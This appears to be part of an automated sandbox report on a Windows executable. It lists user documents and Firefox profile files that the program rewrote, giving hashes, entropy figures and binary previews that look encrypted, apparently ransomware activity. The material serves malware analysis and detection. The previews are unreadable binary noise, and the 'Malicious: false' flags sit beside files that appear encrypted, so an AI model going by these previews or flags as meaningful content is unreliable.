SHA-512:	6CF2ED5FD20DCEC176C3BE6C0311C5E20A5B4681C6419C08E4E2DB3A4AE5C5CC11BBF9E1CCA9AA73691D79D8F444B56B1253D15DA71C9CC4CA5BAF2B36EBCE01
Malicious:	false
Preview:	QCOIL.;K..}.~....s.. .JVwB.".u..^`.)I..hI.B.meq......e(o,.....s......&.$w.` .;.J.......r.n..o?..F...."..xOzI.._j.x....A..C........8.7.C..Y..^U......;D...o-....Dx....ScH.<oB.l.........~...Z.....2mY[\..;Ql%xg5."!... ...w\...e..".V#..T......p...ri......\J^.Z/.h^!..:.'...q~..z.t+..3I[!...................K..D.c....m....A.x.....A.....q..........g..3,.o."V6...]+./...\..u.+..?..g]..@..2....k.36h.K.+q....3..NY.-(gi.?....2.z.Fs..F@(?.)Of..5...ar..~@..<Z.a...>......r...1..&...A5t........J..,..q.....#.h.......@..]i.....K-X..2.s..1.e.$.]p..W'...r...C..N@..b...T...wnG_..B-^[.{.~.........G. tc.......zx..h>u.%..S.).a..62...W.....U.E.`-1~Zv...G.....i....gpL.`...$.$Z..^.8....S..g..2\.c!z......../..dOH.4..7.4.....(...w9.p.... ......F....L.+....K.....^....h..4.A....,.z..n.}.q...C3..(.NTh$.X.4...M}......pU?\|....5k....T....].c.e.g.F.....W...`F..dB*.Z.f.A!.#H...t...n`U..[%.:(O,.8=.>i......Q....ObZ.~..].3..z....t^...M..D......1..+...U.....r..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.pdf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873763180350063
Encrypted:	false
SSDEEP:	24:ZjlqH7/teGJj5lUzw4i0oQ5l8P8o9vO2VLp392Oqrky8ahdmDKUUIl/bD:5lqbtXjQhhl8kos81oOKjMJjD
MD5:	8812471B30B8F4C69FEB087B40DBC0C8
SHA1:	7959492650EEEE527E87EC4B57634D22C8BED8DF
SHA-256:	9506AA173A2C5A249C4A3560524F9D3CF53506B90A28F2195A924AA7423FB061
SHA-512:	91C458B3927E1215AD6A1B8924AB5F1EA049944B1A64190C5C3B365562D48277FD99E7432D41CB7B61A7437F4FEB515A43AD706B48DD3BDEB32A1DD5C6FA8C8C
Malicious:	false
Preview:	QCOIL.w.&Pcw.h7;.....N;w.J.;YC.......<N.......k.....0l..E.....#e..R..]..q~.$./...)..~.6..^N..h..ORW....rf!g&2K..f.%.^`."/,..+!......s2z...C.R.Ugp..}...kB....lG.U/.s.C...NJ.w>MLCM.H.3...M...e.<.KPs.z./BTv...x@`6[.+.e......(...,.W.m3......._>c... &..........-.$.A.....'.......Le0(0..S.y.Y.a..u..P..Ihl3.K.g.T.....a,}...._<.A....G._.aV.:.K.D..u'.......(...HJP.@.m.=...i...?M..\...-.)(......-.7.....>Z.....#E.....Jp.S../l..Cf{e..M.$%....B.BT..P4.9.#?..$.3.'>L+!..&........4`....DK...X}2'........W..........,'.....q..y.t.t...U.5^7.-.....t.n..=.s.>.5.:.ps..G..jb...S-...)............;q.$O..x...[oRh.......x.<t......I4$%.}..u$9. .]...n.......kYN.....vz.>..Y.....V.<..H1...S......!..R';r..W.y.Jkd.....Q......T..........KS.z...].....x.@z?.A.&....=i....QT.UQ.L.h....iAA.?[.....s..Ve/......(4..Z5K..z.0.......e..uW..>.!..^.....{\.....k...H..I...r....;...}..._..OK....y.R../.....$..R..-.......>.>V{.N<ft/."...z.40w.Y.5...j...K.q..e..r.b./.S..XU....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.xlsx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859258564195594
Encrypted:	false
SSDEEP:	24:QKO30TMtc4SeZnQT2hQmGTo/siXqQwR1gMRPSiIsWlci8drGfIX8bD:3tTM2VeZQTAQvT8fXqxR1g5iIlloGzD
MD5:	94840F2FF973E88A526A5A0B2EB218B5
SHA1:	CB6FDAFDDDF8B8265429DFA4F08F3E223B9C5793
SHA-256:	F16314F557C1F81F5FAC5CD59AB74754BA2070AAA727D42963F427B50FE37AC8
SHA-512:	E31719C54E4EEACBDA6E5CD1CB75D5C1E84C9848722C73AB6CBF3D3476309E172D83D51033AE7F9C2E847547A06B1DB15CBC073D761F49ED0554B7219EC42CA6
Malicious:	false
Preview:	QCOIL.N.....c..o.1..o..U.^..X..h.<?......j....bW..@0..n`LB(.....#...c.t.Wy.Z.V`i.....;P.T.......j-..D..S~.......<...`.h0d..5.a.u(}"..>...S.+..s\ijC..js.....tM.h.GZ.H.S...u.~..p.AQ......'Y.........z.}.x...+.J..\|.<..t...<.q.QY. ....T f.z.YF......D..lh...9...GH.P..sc..I5..?....8".X?.#........t..!..J.4.]$}^=.,=..........].._r..D~`..)w.L..E...yl.X...9..D.$.'$..;./......]7b...E>.g.f@.D.6..^<........W#.6-D.U.B..L<.d......w...2.5^..%'..8W.^....Cg..d...9]...!....w..\|K.&,.G..e.^B#O...\|.//..!(=._.q\y.Sz.~...o.I_...S.J..cc...U.4..Z......ca....h5.DR.........w-....8.)....%......~n.~U.^.v....gd.o....u........C... 3w..l...t..c&BOE.......re...;PqN.ok...V2c/.....=3N..+..x5.....w.y..#yj......x..#.O..w..2.\|.-ESz..,...wb.<)..Q..I...i...b.P'...l?......p.O...PR...n.!...eaY.a...1..E..(..m.....:.J.)..D..........k..gb.mS...2I&..0..1.%'.p./$5.9...[...C..#....83...1N..,.W-wY`.QS.......i.5.}..(.4 ....6."q..`@..Y).gz})@...'...SZ....r1u..e...u.......<n........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832233954734973
Encrypted:	false
SSDEEP:	24:vRtktk2MIXupGDyvpN3OFTlF3vgEr30/6NJW/BTWuUupm4WG/PFFofGURbD:KMIX6RNYTlFge30/Sk/ByRupm4FPIfVp
MD5:	BF0338783F873D9B756A215B55C74894
SHA1:	E77F0CC589E3A617D03CA2B3A564EA209233CB17
SHA-256:	A1835200CCB7DBB982028140E5838F8327ABB682DB23934495D7E7C66B206002
SHA-512:	8940CD6000A82EE28B6DCFC75A5FA2C22B576F366CEB4FB107484EAC4F88C553FDF30E00375C18EE5E435D44D811F5C95324205C61FFD9FE5769D86EAC7E2F41
Malicious:	false
Preview:	UMMBD.0.4...7...z'.%]....bO\|..i../.....B.D.(nT-......CrL.t.`$...}.I..cs.I.1.+G...3c..f.....%......A.o..&..1...B,.5....icu.....i.Kq..bQ6.y..M..#'d.b. ...v.B....fh.]..x[Q'..........3f.^..h:......y..N.,N1...c.....pE...N.].zWK.!Uo3d.R.K.D.....i4.J.j..;U..rT_.1v....;j......v../..O?J.ck_.tL....n.F...2.m./....-..D.S..C..~=rT\...b....qS..P...o........"&M.\|...2m.8.../....^[...c..9N2.....e.....y...4P\..&.3.....;.D!..a..}d..&j..o...;..X.$...I..%;.F...2x.....s.......4..[.Y..\\...._.Y..9..X.a....4#g..rJ.t.#../,.a...D...K0..+...}..SRK;E+}F\|F....Ms?...b..6...r.o........c..1...D..n..)..Y/...jTN.D....$.C..A.[[7;m.4l{..?..)..\|..rt+XU...jl..$.'1.,.iT.....lX...P`3.6eO."..R..s.G2\.P.L.....F.'#...sL...r./...G..#.r..r..{.".G..t9Hux.^..?....Z.!...!.g72V.cb.}.E)..m...Bs.a.....j.91P....F...F./.m...6.99.....TVu.....=..o...T...>.b..=F....!E.9\h..K_.........%aw*!..wI....HI.U?en.Z.....[;e..JY...b.4...)9u.. Hh.%.,.B`..DD..w...G......P.........../]\|N.<.M.i2....".Pr..&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.jpg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8446383190481255
Encrypted:	false
SSDEEP:	24:uz/wcYFBomp/jIQhRqu8spF7oK09QavLAw4vkJ+RqenJNUzBRubD:uz/3hmp8Qhci7dGjLy+0qenfFD
MD5:	9DA48AF99C32C5F18AF8CA2773D60D95
SHA1:	4BB58D9C15A6BC98712C6A297396F70A8BA1D56F
SHA-256:	65A8F7B780992727E1836B2612C04A870C5597359E147844538EEDFC6F0FC036
SHA-512:	658311EAE56E0351404707E0889AEE9F8589FAD89E55BB6A9F25F0BDFB33B250236E435DFFBED88338D4D494CA01AE6910272C421B5EEE9F17E403DA11902856
Malicious:	false
Preview:	UMMBD....@.4....;.<,k...g=....[.B.C\|u...ND...:.5..v........q.,4.6.......h..".....d..........h-`..}....dh..}...;E.>\..!..8@(....]...FRw.2c.5...S.U......9OV....K.. .IuL.r+.1..S* U..I..>c/.....Uc....C....._X).c<..Q..].w.4'..?.+1-.5.%9...H.t.u...;s.p.<./.?...V.;L........n.,.....b..s.>(.m.8,L....U.In.#a.[......s....p.!(.....W.........beLR..2....\|..Zr..e.v%Tl....A...<U2N...VL8f..r.W...L.....e..1k{.oDY....../0.,.q_C....2Qy.{bLh.`$3.O7_9.....#..h..Y.;.bjf...W..G.q.b.+c.Udb.B.*<.-....R......'.....\C.e..s>.pR.Z6...1....X....F..\..)V.h..........Z.d.. .4.5=.hf....._..e..... ..'.{...>p.`o.EUB/..]CB[Q...D....5^].@-.'.A4.$..l.....5.e..O.u....C.$.(..j.l..gV..=)._..!....MI-Qpt).-..............F..81\|.Q.M...2..............G....v.KD<p....,..NW.#p.....<..n..,Mq.I..o{v..l.X.y'<K.6K..k."...ge.g..d)B...C.}..y..(....J.4.......`Z.e....9F...GH..=..W.Z.nAx...Bp........<.3w.(...2.dn[Q.\|...)...[..-.d...C&@...Z.}...H...C.Yw....E.H=.!.-.v..a.:S..u.O"6.t'j..jpJ..l.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83210771112582
Encrypted:	false
SSDEEP:	24:JtmJLGlf0UpgJ7C9R7OQMs0d5YixAh7hpqqQBNIoFCibD:fmJLG10bJGXCQ03Y/RhpXyP/D
MD5:	1A0D857E043475D0E663FF4FAD43495C
SHA1:	BB3CC48F1B45673F4B1938CD8702DE1CE0244158
SHA-256:	4A7CE2709168ED70FC01444E7423D8B9E397B4F5CA5ED46EB478DB4AE3142A36
SHA-512:	299D71799E70BE2DA9F2EBD4D5E74DE85D3FC4E1E527D6CBD3C7CEAC7AF48F63A5D19B295781D47502E7D06A8E1020BC4E580E60EB5DA1AB148965DADAD719C0
Malicious:	false
Preview:	UMMBD...d$.gw^A.0.O.c..[..........R.D.....G6...H....w..`#..2..g)..T^.c...z.1.I...)S.%.....T.w....X.7<......k.....GP.-.S...<P..Kj..x..0X.5.f..8D ..@F.@.[.....cD.L........:!....,..l(.FaA.<......l$..D..<..e.\........0?d../..._..6.i.M....#..F..V.../.L)^..=..(at.....\|D\|.N.!.....3.h...(..Lh...!.....Y....."=.>\|.D..P`.e9W....)c....Jt....%...%mN.d.w]\|..D...c..,.0...Y.7....<`HA'g....[/\|..BD.....b1c/a.cB....aEf.K...8..hp.7q...x.0.5.`....B...Wq.....!.R&h.mi.O........._.j.[..,.I....&.&....$0.6.j..W..f60`YH.!....L...^.<)...Ed..E....../..W....2kQ...@3NH.4.....s%.$....K.`......QN..K....z.L0>..z..DT.<...B..7..J6...u..T....r..I.....[9...${..\|.~l....3..g...@..m.#.8.^..3..a0.<...2..\|.....k.3.3!..}..pf./..'Me..4.Mtq.B\i...2m..R.K..Q+%H.\|.!#..T.C7GA.,..@.\|#aX........R....ng..Gn>.1EY....9.......y.z.%..V.S...B....7..J..qv.Z..,[BO.\|....n>.....Y...d.l\|.!...m.........).M...U..........:..\|.....O..+I.E..9.jh/.Qp.1...U.b./..~6x.M..d...Z..N...?.........Cg....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855145135052447
Encrypted:	false
SSDEEP:	24:EIFQJIGkXweep/OLHr6YgCNNn947DPraJGC8a47dG5bD:EIGU83CNNn9477rBn05D
MD5:	E1ACDA676E2D57D1660F6DD86126AAF6
SHA1:	591B3DFB5E0FD7A162E7C42DE18AD74A08FB889A
SHA-256:	42ED392104C38543D761F99CFDEC5B46A47842CA5369DC33F75318030E885B5E
SHA-512:	A742C4F300BE2CA25DD41DF314C8C48E58C0C3147B1C492A69C4436CB9C7B947A02AF3EA75491FE77869EF6062DBC3E85894903AF8ED18163DB0471B60571E73
Malicious:	false
Preview:	UOOJJ...@..N;..^e)D......bO...~......M.e...........9.D. ....A...HR.N.....Y...{\|.......(.....C.,..C#.-..V..^ZdB....3....G!.e.....YM.x....e:..8.f.t.....K.....MD^.0t.V.c}l;].8........yU5.1.-P.d%..A}..._....2....1n.yy......<........P......J4iT+..k..........e...j...._.M.D4...._..~.\|.....O...G/.m..;..f.FE{4..<..,T.1..TjF{.."....K.+c..S.U.W...1.....2..........R&Y....x...0...(4.oc{....k..#...5..1..-.V.r.B.T...x#e+..1.A.....K../.^...]..X..G.a.-...4.=B).mdRfm...k...I...!....wiKT...0..VHb4a.?h&...3...kW..7.j.d.g7g.\P.(Z....3.:..u.....Q....W..S..9..X.],..R.I.2e@..WmY..@.e...^B...`....[.v...C.\{a..3.-..\|....2..\..-<K...'d.J....==...Sx..b.....O..^....{..h.]......>.&...5.P..........E.;..o......f"...$...P5f.Tu.O..\|D.Ek....2..5(.......9ul.....(..9..N5..0..w..._.<.. .........^...8q.>...N}.^sr...(.)%.f..~.w...<..../).2w....<...T.2.=8...z.U....A4[....&.[....<.f..$M!..z...K./...1.`t......1.(XG..EAt.bL.2;..E..q.B\|..Z.eA..O.....F.+I...aT...(.".".

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847491274423094
Encrypted:	false
SSDEEP:	24:Ex+o741BeabCvJ3fuCPiBVK5b2tsk90u5W7f2RcoboTrbHuwsoQx6bD:Ex+nn+vtpiB85+993A+RcvrbOwsorD
MD5:	80134C4042DC9315403A5AD199158B6C
SHA1:	CA80527176A34C134D56C784447C92C3C123124E
SHA-256:	B0C993FB448DE3C23FA6EC475B84DC259EFF10EED6D73D6C9C9073A990F8E13F
SHA-512:	DDBE72D97998134FB10B832EB46FAD5989B9EFE475AF7A6B61F9A37D189796FF3AF6DA152EDC4119E8EEE6485AD5EFFB313AE5432E8446FD484538DCCF4B3468
Malicious:	false
Preview:	VLZDG.n.z..jY......(..,...6.........W.q+,.....`zM.k`$.}..x}.v.K...........Vl..H...4.X..f<3.).........p....u.....=.D...}.b.R....Tr....V.../6...tEh..>..X..M.Q'8.)v..2...p.b...6..B..m_.:...YW.4t6.O.....M.....^r.R..%..{..F..s`...?.:..Z....3.q3...&4.f....Q.......S......n....XE"..{.X.[.~....T2.....e...e1(..<_X..A...=........%.C..W.=A.S.........4<7..G.srC.n..g...zUaE..I...(z,..+..@...&.....!.%.+A..X#F.d..A.E.UG].....]..kH.....P.f.?...]}.r..S..v.k..........6.p9...]@......-p.\|!.Q.Q..{......F{.q.J...F]...n....R...3#.]...B...{...-.NN\..+#..I.=g..}..`JTF/i..Lako....".:..J....Gx.`T.....W..P.$#.3.....8..'..-..%.P..T=.h...a)@3.h..[..'tV6cm.K.R.U.#D$.9.@h..E....C+Y{.O."/j e-x...]H.;q0AG.......R.i..m9........>'.V...FQ.n...i..;h.$$.c]P.~._P.>..sf6^._..\.<...D..A..q.ZZ.ii.m8qX&.X.H.J...Q....)...e....G..}R.6..K...R...x..>..>.\|..").r.K....U...{....6%.....@..4...J.0..........O..l...UvI.9Bo..Y9.g...-..h...N.6.r..,.,wsF..{..h...Dr...9t.o.]...M.......j........;7.<Z..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.pdf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838557277189604
Encrypted:	false
SSDEEP:	24:BTOFkefeASSZmQtBCHua3awMjQXuJYJsUjmToB3ALLIGqoHe7ZL/9z9mbD:5OFkh+mMguLzNYXBhgqo+FLl90D
MD5:	B0488E52BC77019179C955719E686EA7
SHA1:	B8E4315E8F1D0D9861F08140E27AF55E2693483A
SHA-256:	46C24017B5D68A01925897DAD76AD1705546124112D4B52ADD7BED39A9B57134
SHA-512:	75A257E97DB81B956EF7C2F5CAB735BE3CAF309217FF5800EF6B73FD9F02B52533DCE07C2989C7F2A8C0026680AA147F6997F8335E93D91C2CA602AA4E2D6FBF
Malicious:	false
Preview:	VLZDG....yV........!"\|B$..B+A...ti...Hb"..s.U\|d.,.. G....mO..-.f.]<...s.........ry.&\?...:_.b..\]...kM.c........N.g.\|.."...=U.y...!...{Kl.R..Va...!]{..BP.......iqQ..B........JN..\.;P.on....Z...>....u.$H.'..oy..&...^..i.....D..R..$X.._...Q...v.U.......,^.....j..D[F...r...r...&......l...u.I}..1.....Z.Z.......?....En...3_...(ACE....2...i;.<.U...c......o.6...N...V....B.9.y.?....j....!.O.....`..]C.n.7Aa.)..^.8...5V.n>y..M.ABF.J...D.-5...mqO.g.Y..8Q.w}A...Xa...s..)Y....lii......)...\|...OL,XS...iB/.q6/.6c......l..o":..r...-...4.j1...r..o.Q3 .a6......b...5%..E..[.).}.y1R.u...g...$DX..=(.+....pF!.... ...}I9].,*9.....YJ....\|...9..J...#.3.u....MEHC.AoD.6[....0C.d&..TK.."5\pW..kW.M..G.Gv..eR....6.a.z\|.8\B....P....Y......~.#......(V.Y........g..iG.?.\|...........(b....o.zN0....U. '..(OBV.L#vg....,.Ss.X9u. `!)`T......a.....N.3.\.2.].bZ6....nK.=.R..J..q}......l..!.4...c..G>......J...r.~. .eJ1b.I.......S.7...!w.....$....F.....e..}.....9..3..O3....`

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829333217711207
Encrypted:	false
SSDEEP:	24:8DMfwIz/52wf3kGwS04jC8O6EoQu3PYLzKBzLvh0Ac65gbfxSbD:mEzBpf3nwS04jCn/u3i/65gbfxAD
MD5:	5ABEAC6C1553981AB20DC7F019CAE682
SHA1:	7983BEED6568804F06E46B5B1A06334E1A9C49A2
SHA-256:	70D640B3BD5DFE659B1CABB353274D7F0D6EE7ECB19F66F46D242B914FE0E1A5
SHA-512:	EF326EA2FD95DB8423327EDC4AD138303451DCEAA2E3FC6CD42A5C57EF55575001B242BA187F5DE63B45FDF76C97597ACACCFE5EDCF30A3FC729A2AFC28C8313
Malicious:	false
Preview:	WKXEW.l].+....Pxx..!1a.....X.0......D..c.:..B)@...#".6>.Hj.v..l6p.H.S.G...f...8N..k1.......DFJx....p.+.....y...&.........[...%...;.N.I[G...M....Q/.W..{uV9l.K:..R0../m.`;,~..56..N.S.i....lX&....G.VR..7.SNCke....U.L..F...3..8..j..f............B....lc.>X..S.R.aR..v....l9...+.v...?U..[.e).:R.rU..,JS..S..Zp....L......`.'..r...<G...%.2..G..BHc.".ps.WJ..k....i1.I....U.....t.F'.F.j.v.0....................%...%.G%...Y^...Xd..&....=.:P8.6.(p.rs...t.R....?gL....P..Kw....i..U.....2.~.;.)rS.7......}h+C......h....R.j.._..U.r.PS.uB...?.K....S..Zy...'.=..d.c."....m....s....\|.K....>..Y.s..yC.hkJU..%.t'.a&zz}....yK.......:...N).`O.....9...._...<.L?.P.&.v..1}V.s.TEJ.I[K.....:.:.........m~.z..Z..CYu.XuP`.......%!..1.....T_.p2...?...WF..B.k.l..H..s.B<....i.hS._.......O.:..:..Oi......+....E........q.......;..C?ps..\|..f...._.l.......i.$...D..tX.......`x.U..s.......E.i$.$Ek~fx...JI..I..nMP..\|')\|)jr.%..f.W.....kt.z..^.0...[..qjx...d.Pl.nQ..c...6.5.p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849454193158972
Encrypted:	false
SSDEEP:	24:9oKu7KaXIPG54ZLClsbQJxpNy/kVCMawHIf4zjopyPaci9qI5ybD:CKujIPM2LUsb8xpNy/g/awH+ZVnKD
MD5:	B341E45A2E9EF9E1ED7D145310D6E485
SHA1:	3F25ABE3B30A65DC11A14C895A613DA48CF89229
SHA-256:	7F6728509AD1276DD2840F07D0F8193701EBAB3FA3E23BA65AB32BE96F0C2EE7
SHA-512:	19CD26A259467C25BDA43E2FD8281618985C7E4555904E7DA28F4E7C13CE91B2572CD2A721968301D56B93A08C5697A6150DFCFC68D89403D70DA875F09108DB
Malicious:	false
Preview:	WUTJS2[...Z...7..8..{.\|.Da..........r\|7........s.:]j.".../.(7<....LO....g...[jZ..4..tci..uBX....o.$..#h..W.. .....V..=G.(KHjv.b....X...S...9f%..9...YxU?Qc..T..........mZ.....'P.Q..3....s.s}/......DS,......L...@.Bgo1.....m. ...Tw..._Bi........o.^.....<..x5@r..p.LHr...o8.I7~4.]....h..(#a.8_..7.@{.I?.\.......?..+..kM.d._.(_^.S];...P0.b.I..[..4.....jaDDM....S..........~gt=b....A}......8t.%^.5.Ny.\D..Z......:..l.....93....D........m..L$EDel.~.E......=..P.[.H...H..'E...P/..&ySk.....'.h.y.....2....4.... Y.#.y....Nt.Y....0.M.b..b........Mj"...... &0..(..~Q.p. .....h...V.2..O)....!.E..y.i..>Iw"...Rh.....qX..H.u.)yv..`p.K..O.H..cF?..;yI...V..U......S.O..i.&.C!~8.&....&.R......S.f...U..%.F1.....o...g.)hiOm.M".T,.bE..:Le.o.......+.7~0h.~.?.k(D........."..z...).8l.@].l.....g.+.i.....C..}.L..k..#0..i.1....pp.....%.;..../l8.".M.......=.f../......!....p.D..Y....-^. eT.b.E..X......j9>..w....-.&.7..k.v.F.<?.$..t........J..;..9..L..."../.2..u..n...H.Z....G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858564904509114
Encrypted:	false
SSDEEP:	24:mzARDtkexB4StxXhOIEFq3++AL/mBdWKFwdMw998C2F3nbD:GYk6B4SNOI8qO3LOLXwh99sFrD
MD5:	0203903D1E5986BEAF882B280CD7DB83
SHA1:	DBD2FC78816938FF71EB2B076CBA9B226F2930B5
SHA-256:	A6C7812BCD9021141604764A4D8038BAD226FB136219F574CED99294325ABE96
SHA-512:	63213F9FA4FFAEEBA0F2B5F31AC2DD91DDD0227A8AB34E1FE27B2BFFEA9594A9DDC90616BED20D640055B26945295CB19C74E44950769C2A90EBDE1ACF307E66
Malicious:	false
Preview:	XZXHA..dU,....!..D`._3.Q.#.(.%<lb..qM.."O...Z.\.6iJ........mG.....t...............E..{u..{.-S...Vk.<.=}\Q...c.k..s....[....C.;....>Z.m.!.w.Fyt.......e.k.......b..%....\|..H.X4_....',P.#....X".B.~....iH.#...J~...eJ........q.vM..H%0...n....~..P"M.N.i.3.<.F...\..)/N...pp..QV..M..J.up..K....j..Tu_..........O.0..)%.w..........)......h...\|.V4....>....uw.`....L.)C......o9D}.0..(=.....{....G.(e....].E..q...?Mxq......f.......$$.......9.Q\.&?.....#...J..h.$.`...'.3........GR.$aF..[.`..n.A....U... ..z.oW{h..U24-...Z.[..lO.Zc....N.....Y"..~q..'.v...9.0..j..j...lQ.. Q..........k...`&.........._V....\|.......T.g.[....v~6:....a..M.%bu...Lr7...G;.-..L<..u.....#..\|.T....2.#.....X.4p..o......8S0..(.c..r(..Mc..4..Q.../..y2w....Z}...W...9P.\.......qZ6tQr.7G...5..:9...H..oTVGF.u-..}}t$C.c.d...w.k.t^..........b..t.ok......H\R.?...?..D"dqJ(.c.e..+.O.s.1N...!....C.....W.......n.J..H...@.=@.H..$.n...G.,v ....w.a.u\@..k.O. k6.....L.A.m.(GR..........$.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.505291288842935
Encrypted:	false
SSDEEP:	12:YW/3AmHtz5FNW0nbWH07mbZj+i69IAtIvjtOTniufjYcii9a:Yu3AmHt9FNVniU7mbZd+IvZOTni/bD
MD5:	E53020849E5600675E7D46C573EBAB9E
SHA1:	3BBD0A925DDD0CBDBC4196A9917D465640427DF7
SHA-256:	DA56294E98FD29EA1275A78AF6921B58B21017050306FD27D9AE3E38200CA90C
SHA-512:	9ECAAD754A1ED8296DB071A9A72F8564509B515FBDF58DEFAD25F2C20F63428632A497BFAE2EA8338FDBC87619D2FEBFA5449E499A991D533D8B76EA8C0C238D
Malicious:	false
Preview:	{"ses..l"w. .h#. ...%p.v....s...}6..\|b+..r..._ ...A..>.....2.:NA.C.../...)...nL.n\..\.G...v.f[...}S:jLk.30#<.......s.A..v..7..H.b..w....A......,W..\V...\|.~.j.3H'..._.fZ.Ke4...'..V..0.3...[.\D...3q......y..]#R.q)3Un...x\...z.a..D..h.....'...'..X+9.U9.....>P...Q G...)r...Q.../z....%r6...M..[u..._s.."...?....&sI..z....%...Y[k.w.......O9gD1.MV......kZN....$..5.}...B./'..._R.afdt.".B=.`...CIk.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.338715105920315
Encrypted:	false
SSDEEP:	12:YGZ+5fdT3KRtAfAucxjn6hzQgzL4Pva2jdYcii9a:YcMfdDA0Ausji0gf8vavbD
MD5:	99C9DFFF9A07682404077B6B753001CA
SHA1:	BA5B517981749501C6A9E675D0564D783869F264
SHA-256:	AAF94A3CF6825E0B2037D735EF2E770F82A4EF513A7CA91CB5A8730C38C51AF1
SHA-512:	6B616E310BA8BE19D6B92B47BABED83179ED1DB5F8B4722E1C5D8CF6D593AA8115A8B2043B8BA91F39F54430D1BE9D05D557857E7F1058F0F13B3BF374745196
Malicious:	false
Preview:	{"cliM.r..%.9.1.\|.\|)x.g..42.o.}..j.jk..)G.....!A..<l.."F....O...p...u..........hTA.1u"...D.=k4Q.!B..9.9.X...C[.m...Z... ..G.&..Q8.B...h.,.x<.x..}U.K..U..o.#Ej.$j"..tP..e.v.WK..CY.v.o..e...C.._.k)......q.EN.5.#..:..r...qS\.^.'.y.......rj.+..@w...0z....0....c/..=..U\.v^l...+.E.......B......GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.880723656040835
Encrypted:	false
SSDEEP:	24:Wh5F3aBR0EsZnptI43s46FKodZwV5qjz1n6NNg5flbD:CF3IRqc43/uhdZwVk31niKf1D
MD5:	961AE0A82499C7B943DFD725709FC681
SHA1:	EFE63F113D5931313BC7753C6AE07EF90166F85C
SHA-256:	C3C22D847117648AE62E5E18E19084D3AF45B1798A218DAEEE4E4E36FC9374C4
SHA-512:	22B771FA24900DCD7511F7316677F0A9738AD08632639593116941249CA16F7B0211463222324FB750372F3484F52136DDCE9D01D2AA53B59061EE077C2B2DCF
Malicious:	false
Preview:	mozLz......}C..8....9...._...../...?.U.$..........@....>. .v.U.:.......v GE...j......H...o3.....P0.=4...>......C2.#../q."...r.0.'.p.A.......D.)p.C<.........'...Q.9.5j.o,.w#.O..:.i...])....N.X.e9.7.!..H.....9hf/GY.Z.Py..3;g>.._j..9.../..uU.....t...A..]-hO3....`o.h{.J$..#\.Bg..R.cI..n...+...h.#...;\..2..u....i.....i.......I..[...,..w...v.#..I...B.l.l...A.+.9s./!.eO.J.e~.U{.)...Q.@.~..6...?.R..B3.3....L4......%.5.5.4........Z.......u...B9.H.....S.b6.H.8iL..q.AG~I\|M3%AM..k...m..;...N.....]..J4{..9.UDDb.w....U.....>...k...pw.i8..P...0B.:.A....7.W}aS8..#L..-.0mp....C.......!..Q$.....[...6`..^........>m".p...!04~.:............Tq.!.?....r\..(l..E..86...M\.M...>...s.l,...3...Iz........a&/_.i..'4.c.u.$.Z..J...H.).?.......Q...pl.../..{.W..v]C.8...u.NH....Cc....*.WB.....R. .C.0]<..e.Z..d.K..Ahcy.......Q.w.....M&.}v.6...#..B..i......F9.3..wca0,...>.5..g?+..Q..@.......;Nt...L7(O.Q...&.....{.E..@.h...w'.:I7H..1%2>..... 